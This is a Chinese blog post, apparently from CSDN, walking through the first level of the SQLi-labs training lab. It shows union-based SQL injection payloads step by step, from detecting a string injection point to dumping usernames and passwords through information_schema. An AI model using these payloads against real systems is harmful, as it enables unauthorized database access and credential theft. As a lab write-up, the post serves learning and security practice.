Sqllab第一关通关笔记

文章详细描述了如何通过明白数值和字符注入的概念,利用SQL联合查询进行漏洞测试,逐步确定查询语句结构,包括字段数、数据库名、版本信息、表信息以及字段内容的获取过程。
摘要由CSDN通过智能技术生成

知识点:

明白数值注入和字符注入的区别

  •         数值注入:通过数字运算判断,1/0 1/1
  •         字符注入:通过引号进行判断,奇数个和偶数个单引号进行识别

联合查询:union 或者 union all 

  • 需要满足字段数一致,否则报错
  • 将输入数据和查询数据进行格式整合然后输出

group_concat()

  • group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
  • []中内容为可选内容
  • distinct:去重
  • 先分组再合并,将格式分组后的字符串合并成一个长字符串;默认分隔符为逗号

concat()

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 没有分隔符

concat_ws(分隔符,字符串)

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 可以设定分隔符,第一个变量为分隔符数据

第一步 测试是否存在sql注入点

利用bp进行抓包测试发现存在sql注入;

构造id=2' 发现数据库报错,但是id=2'' 却不报错;这里应该存在字符型sql注入;

而且查询语句应该是 select 1,2,3 from 表名 where id = '输入信息' limit 0,1

1,2,3表示字段名;应该是2个或3个字段;

第二步 测试注入点的查询规则

既然知道了这里存在注入点下面就开始对它进行注入

构造payload:id=0'+or+1=1--+

发现只返回了一条数据;应该是输出格式限制了;只能显示一条数据

构造payload:id=0'+or+1=0--+

发现什么也没有;这说明条件为假时返回为空

第三步 测试原语句中的查询字段数

好了,整体的查询语句应该就是我上面写的那个;字段数不确定,现在测试一下查询的字段数;

构造payload:id=0'+union+select+1+--+

发现提示字段数量不对

猜测字段数量为3

构造payload:id=0'+union+select+1,2,3+--+

成功出结果了;说明原查询语句中字段数为3;而且输入信息被打印出来了;

有回显说明可以直接查询到一些关键信息,不用再bp爆破了

第四步 利用联合查询查找数据库名和版本信息

构造payload:id=0'+union+select+1,database(),version()+--+

界面显示除了数据库名字和版本信息

第五步 查询指定数据库下的表信息

接下来开始查询数据库下面有几张表

构造payload:id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'+--+

第六步 查询表中的字段信息

发现有一张表为users;这应该是用户表;存放用户的相关信息;那就找一下这张表的字段名有哪些吧

构造payload: id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='users'+--+

发现输出了一堆字段名;里面有username和password字段;这应该是比较关键的信息;

第七步 查询指定字段的数据

查询users表中的username和password的信息;

构造payload:id=0'+union+select+1,2,group_concat('*',username,':',password)+from+users+--+

用户名和密码信息都被打印出来了

10

  • 8
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值